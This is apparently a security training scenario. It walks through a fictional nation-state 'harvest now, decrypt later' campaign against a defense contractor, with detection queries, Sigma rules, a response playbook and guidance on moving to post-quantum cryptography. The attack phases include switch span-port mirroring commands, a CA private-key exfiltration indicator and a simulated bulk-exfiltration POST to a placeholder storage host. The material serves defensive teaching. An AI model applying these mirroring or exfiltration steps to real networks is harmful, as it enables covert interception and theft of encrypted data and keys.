SC-065: Quantum Computing — Harvest Now, Decrypt Later¶

Scenario Overview¶

Narrative¶

Quantum Shield Corp, a defense contractor specializing in satellite communications for government agencies, discovers during a routine network assessment that an unusual volume of encrypted traffic has been silently mirrored from their primary data center over the past 18 months. The mirroring was accomplished through a compromised network tap installed on the span port of their core switch at 10.50.1.1, forwarding copies of all TLS-encrypted traffic to an external collection server at 203.0.113.45.

The threat actor, tracked internally as OBSIDIAN ORACLE, is a nation-state APT group with known quantum computing research capabilities. Their operational pattern is consistent across multiple victims: passively collect encrypted traffic today, store it in massive data lakes, and wait for cryptographically relevant quantum computers (CRQCs) to become available within the next 5-10 years. Once a sufficiently powerful quantum computer is operational, Shor's algorithm will break RSA-2048 and ECC-256 — the exact algorithms protecting Quantum Shield Corp's VPN tunnels, TLS sessions, and digitally signed firmware updates.

The investigation reveals that OBSIDIAN ORACLE also exfiltrated Quantum Shield Corp's certificate authority private keys from the internal CA server at 10.50.10.25. With these keys and future quantum decryption capability, the attacker could not only decrypt historical traffic but also forge certificates, sign malicious firmware, and impersonate any identity within Quantum Shield Corp's trust hierarchy. The CISO realizes that every encrypted communication from the last 18 months — including classified project discussions, authentication tokens, and key exchange handshakes — must be treated as compromised on a future timeline.

Attack Flow¶

graph TD
    A[Phase 1: Infrastructure Reconnaissance<br/>Network mapping and crypto inventory] --> B[Phase 2: Passive Collection Infrastructure<br/>Deploy network taps and traffic mirroring]
    B --> C[Phase 3: Encrypted Traffic Harvesting<br/>Bulk capture of TLS/VPN sessions]
    C --> D[Phase 4: PKI Compromise<br/>Exfiltrate CA private keys]
    D --> E[Phase 5: Data Staging and Exfiltration<br/>Transfer harvested data to external storage]
    E --> F[Phase 6: Long-Term Storage<br/>Archive for future quantum decryption]
    F --> G[Future: Quantum Decryption<br/>Break RSA/ECC with Shor's algorithm]
    G --> H[Post-Decryption Exploitation<br/>Intelligence extraction and credential reuse]

Phase Details¶

Phase 1: Infrastructure Reconnaissance¶

ATT&CK Technique: T1046 (Network Service Discovery), T1018 (Remote System Discovery)

OBSIDIAN ORACLE begins with passive reconnaissance of Quantum Shield Corp's external-facing infrastructure. Using open-source intelligence, they enumerate the organization's SSL/TLS certificate inventory via Certificate Transparency logs, identifying:

• RSA-2048 certificates on all public-facing web services (*.quantumshield.example.com)
• ECDSA P-256 certificates on VPN gateway endpoints (vpn.quantumshield.example.com)
• RSA-2048 signing certificate for the internal Certificate Authority
• No evidence of post-quantum cryptographic (PQC) algorithm deployment

The reconnaissance reveals that Quantum Shield Corp has not begun migration to quantum-resistant algorithms (ML-KEM, ML-DSA, SLH-DSA as standardized in NIST FIPS 203/204/205). This confirms the organization as a high-value target for harvest-now-decrypt-later operations.

# Simulated CT log enumeration (educational purposes only)
# Target: quantumshield.example.com
Certificate CN: *.quantumshield.example.com
Issuer: DigiTrust Enterprise CA
Algorithm: RSA 2048-bit
Valid: 2025-06-15 to 2026-06-15
SANs: vpn.quantumshield.example.com, mail.quantumshield.example.com

Certificate CN: Quantum Shield Corp Internal CA
Algorithm: RSA 2048-bit
Key Usage: Certificate Signing, CRL Signing

Phase 2: Passive Collection Infrastructure¶

ATT&CK Technique: T1557 (Adversary-in-the-Middle), T1040 (Network Sniffing)

After gaining initial access to the network through a compromised contractor VPN account (testuser/REDACTED), OBSIDIAN ORACLE deploys a passive network tap. Rather than performing active man-in-the-middle attacks that would trigger IDS alerts, they configure a span port mirror on the core switch at 10.50.1.1:

# Compromised switch configuration (synthetic example)
monitor session 3 source interface GigabitEthernet0/1-48
monitor session 3 destination interface GigabitEthernet0/49
# Traffic forwarded to collection implant on 10.50.1.200

The collection implant is a modified Linux system running on a repurposed server in an unused rack space. It captures full packet data (PCAP) for all traffic traversing the core switch, focusing on:

• TLS 1.2 handshakes (which use RSA key exchange — vulnerable to quantum attack)
• IPsec VPN tunnel establishment (IKEv2 with ECDH key exchange)
• SMTP/TLS email traffic between mail servers
• LDAPS authentication traffic

Key Insight: TLS 1.3 with ephemeral Diffie-Hellman provides forward secrecy against classical computers, but the underlying elliptic curve (P-256) is vulnerable to Shor's algorithm. Even "perfect forward secrecy" today does not protect against future quantum adversaries if the DH parameters use classical curves.

Phase 3: Encrypted Traffic Harvesting¶

ATT&CK Technique: T1114 (Email Collection), T1530 (Data from Cloud Storage Object)

Over 18 months, the collection implant harvests approximately 47 TB of encrypted network traffic. The implant compresses and deduplicates the data, reducing it to approximately 12 TB of unique encrypted sessions. Priority traffic categories include:

The implant transmits harvested data during business hours to blend with normal traffic, using HTTPS POST requests to 203.0.113.45 (disguised as telemetry data to a fake analytics endpoint at analytics-cdn.example.com).

Phase 4: PKI Compromise¶

ATT&CK Technique: T1552.004 (Unsecured Credentials: Private Keys), T1588.004 (Obtain Capabilities: Digital Certificates)

OBSIDIAN ORACLE escalates privileges on the internal network and targets the Certificate Authority server at 10.50.10.25. The CA private key is stored in a software-based key store (not an HSM), making extraction possible:

# Simulated CA key exfiltration indicators
# Source: 10.50.10.25 (Internal CA Server)
# Destination: 10.50.1.200 (Collection implant)
# File: ca-private-key.pem (RSA 2048-bit)
# Method: SMB lateral movement via admin share
# Timestamp: 2025-09-14T03:22:17Z

With the CA private key, a future quantum-capable adversary could:

1. Retroactively decrypt all TLS sessions that used the CA-signed server certificates with RSA key exchange
2. Forge certificates for any identity within the trust hierarchy
3. Sign malicious code that would pass signature verification
4. Impersonate any server or user in the PKI ecosystem

Phase 5: Data Staging and Exfiltration¶

ATT&CK Technique: T1567 (Exfiltration Over Web Service), T1071.001 (Application Layer Protocol: Web Protocols)

The harvested data is exfiltrated in chunks using steganographic encoding within HTTPS traffic to cloud storage endpoints controlled by OBSIDIAN ORACLE. The exfiltration uses legitimate cloud provider APIs to avoid network-based detection:

# Simulated exfiltration traffic pattern
POST https://storage.example.com/api/v2/upload
Host: storage.example.com
Content-Type: application/octet-stream
X-Session-ID: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
Content-Length: 104857600
# 100MB chunks, 3-4 per day, randomized timing
# Total exfil: ~12 TB over 18 months

Phase 6: Long-Term Archival and Future Quantum Decryption¶

ATT&CK Technique: T1074.002 (Data Staged: Remote Data Staging)

The harvested encrypted data is archived in distributed storage infrastructure maintained by OBSIDIAN ORACLE. The timeline for quantum decryption depends on CRQC development:

Critical Understanding: The "decrypt later" phase may be years away, but the "harvest now" phase is happening today. Organizations that delay PQC migration are accumulating quantum-vulnerable technical debt with every encrypted session.

Detection Opportunities¶

KQL Detection — Anomalous Network Mirroring¶

// Detect span port configuration changes on network devices
DeviceEvents
| where ActionType == "NetworkConfigurationChange"
| where AdditionalFields has_any ("monitor session", "span", "mirror")
| where DeviceId in (
    DeviceInfo
    | where DeviceType == "NetworkDevice"
    | where DeviceSubtype == "Switch" or DeviceSubtype == "Router"
    | project DeviceId
)
| project TimeGenerated, DeviceName, ActionType, AdditionalFields, InitiatingUser
| where InitiatingUser != "network-automation@quantumshield.example.com"
| sort by TimeGenerated desc

KQL Detection — Bulk Encrypted Traffic Exfiltration¶

// Detect sustained high-volume outbound HTTPS to single destination
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where DeviceAction == "Allow"
| where DestinationPort == 443
| where DestinationIP startswith "203.0.113."
    or DestinationIP startswith "198.51.100."
| summarize TotalBytes = sum(SentBytes),
    SessionCount = count(),
    AvgBytesPerSession = avg(SentBytes),
    FirstSeen = min(TimeGenerated),
    LastSeen = max(TimeGenerated)
    by DestinationIP, SourceIP, bin(TimeGenerated, 1d)
| where TotalBytes > 1073741824  // > 1 GB per day
| where SessionCount > 50
| sort by TotalBytes desc

SPL Detection — Certificate Authority Key Access¶

index=windows sourcetype=WinEventLog:Security EventCode=4663
| where ObjectName="*ca-private*" OR ObjectName="*CA\\Private*" OR ObjectName="*.pfx" OR ObjectName="*.p12"
| where AccessMask IN ("0x1", "0x80", "0x100")
| eval suspicious=if(SubjectUserName!="ca-admin" AND SubjectUserName!="SYSTEM", "YES", "NO")
| where suspicious="YES"
| stats count by SubjectUserName, ObjectName, ProcessName, ComputerName, _time
| sort -count
| rename SubjectUserName as "Accessing User", ObjectName as "Key File", ProcessName as "Process"

SPL Detection — Sustained Low-Rate Exfiltration¶

index=network sourcetype=firewall action=allowed dest_port=443
| stats sum(bytes_out) as total_bytes, count as session_count, dc(src_ip) as unique_sources by dest_ip
| where total_bytes > 10737418240
| where session_count > 500
| eval GB_transferred = round(total_bytes/1073741824, 2)
| eval avg_session_kb = round((total_bytes/session_count)/1024, 2)
| where unique_sources < 3
| sort -total_bytes
| table dest_ip, GB_transferred, session_count, avg_session_kb, unique_sources

Sigma Rule — Network Tap Detection¶

title: Suspicious Network Span Port Configuration
id: 7c8d3e2f-1a4b-5c6d-7e8f-9a0b1c2d3e4f
status: experimental
description: Detects configuration changes to network switch span/mirror ports that may indicate traffic interception
author: Nexus SecOps
date: 2026/04/03
references:
    - https://attack.mitre.org/techniques/T1040/
    - https://attack.mitre.org/techniques/T1557/
logsource:
    category: network_device
    product: cisco_ios
detection:
    selection_commands:
        CommandLine|contains:
            - 'monitor session'
            - 'port-mirror'
            - 'span source'
            - 'capture point'
    filter_automation:
        User|contains:
            - 'automation'
            - 'ansible'
            - 'netops-svc'
    condition: selection_commands and not filter_automation
falsepositives:
    - Legitimate network monitoring configuration by NetOps team
    - Automated network management systems
level: high
tags:
    - attack.collection
    - attack.t1040
    - attack.t1557

Sigma Rule — CA Private Key Access¶

title: Certificate Authority Private Key Unauthorized Access
id: 4a5b6c7d-8e9f-0a1b-2c3d-4e5f6a7b8c9d
status: experimental
description: Detects unauthorized access to Certificate Authority private key files
author: Nexus SecOps
date: 2026/04/03
references:
    - https://attack.mitre.org/techniques/T1552/004/
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4663
        ObjectName|contains:
            - 'Private Keys'
            - '.pfx'
            - '.p12'
            - 'ca-key'
            - 'root-ca'
    filter_legitimate:
        SubjectUserName|contains:
            - 'ca-admin'
            - 'SYSTEM'
            - 'pki-svc'
    condition: selection and not filter_legitimate
falsepositives:
    - Certificate renewal by authorized PKI administrators
    - Automated certificate lifecycle management
level: critical
tags:
    - attack.credential_access
    - attack.t1552.004

Response Playbook¶

1. Immediate Containment: Identify and disconnect all unauthorized network taps and span port mirrors. Audit every switch configuration for rogue monitor sessions.
2. Traffic Analysis: Determine the scope of captured traffic by correlating timestamps of the mirroring activity with network flow data. Identify all protocols and sessions that were intercepted.
3. PKI Assessment: Determine if CA private keys were accessed or exfiltrated. Check file access logs on all CA servers. If compromise is confirmed, begin emergency CA key rotation.
4. Certificate Revocation: If the CA key is compromised, revoke all certificates signed by the compromised CA. Issue new certificates from a freshly generated CA key pair stored in a FIPS 140-3 Level 3 HSM.
5. Crypto Inventory: Conduct a complete cryptographic inventory across the organization. Document every system using RSA, ECDSA, ECDH, or other quantum-vulnerable algorithms.
6. PQC Migration Planning: Begin migration to NIST-standardized post-quantum algorithms: ML-KEM (FIPS 203) for key encapsulation, ML-DSA (FIPS 204) for digital signatures, and SLH-DSA (FIPS 205) for hash-based signatures.
7. Hybrid Deployment: Implement hybrid key exchange (classical + PQC) on all TLS endpoints as a transition measure. Deploy ML-KEM-768 + X25519 hybrid for TLS 1.3.
8. VPN Hardening: Migrate IPsec VPN infrastructure to use PQC-compatible key exchange. Consider WireGuard with PQC extensions or IKEv2 with ML-KEM.
9. Data Classification: Identify all data that was potentially captured during the harvesting period. Classify by sensitivity and shelf life — data that remains sensitive beyond 2035 is at highest risk.
10. Continuous Monitoring: Deploy network traffic analysis (NTA) tools to detect future passive collection attempts. Monitor for anomalous span port configurations and unusual east-west traffic patterns.
11. Threat Intelligence Sharing: Report indicators to relevant ISACs and government cybersecurity agencies. Coordinate with sector partners who may also be targets of harvest-now-decrypt-later campaigns.
12. Executive Briefing: Brief leadership on the quantum risk timeline and the organization's exposure window. Secure budget for PQC migration program.

Lessons Learned¶

• The quantum threat is a present-day collection problem, not a future-only risk. Adversaries are harvesting encrypted data now. The decryption capability arrives later, but the damage window opens today.
• Forward secrecy does not protect against quantum adversaries. TLS 1.3 ephemeral ECDH provides forward secrecy against classical computers, but Shor's algorithm breaks the underlying elliptic curve math regardless of key ephemeral nature.
• CA private keys stored in software are a single point of catastrophic failure. HSM-backed key storage is essential for any organization that may be targeted by nation-state actors with long-term intelligence objectives.
• Passive collection is extremely difficult to detect. Unlike active attacks that generate anomalous logs, a properly placed network tap creates minimal forensic evidence. Physical security of network infrastructure is a cryptographic concern.
• Cryptographic agility is a strategic capability. Organizations that architect systems for algorithm substitution can migrate to PQC algorithms with minimal disruption. Hard-coded cryptographic choices create quantum-vulnerable technical debt.
• Data shelf life determines urgency. Organizations handling data with long-term sensitivity (government, defense, healthcare, financial) must prioritize PQC migration over organizations whose data loses value within 2-3 years.

Nexus SecOps References¶

• Chapter 8: Cryptography and PKI — Cryptographic fundamentals and post-quantum cryptography
• Chapter 23: Advanced Persistent Threats — Nation-state actor TTPs
• Chapter 24: Supply Chain Attacks — Infrastructure compromise patterns
• Chapter 38: Emerging Threats — Quantum computing threat landscape
• Chapter 44: Security Architecture — Cryptographic architecture design
• Lab 11: Network Traffic Analysis — Packet capture and analysis techniques
• Purple Team Exercise PT-089 — Cryptographic weakness exploitation
• IR Playbook: Data Breach Response — Data exfiltration response procedures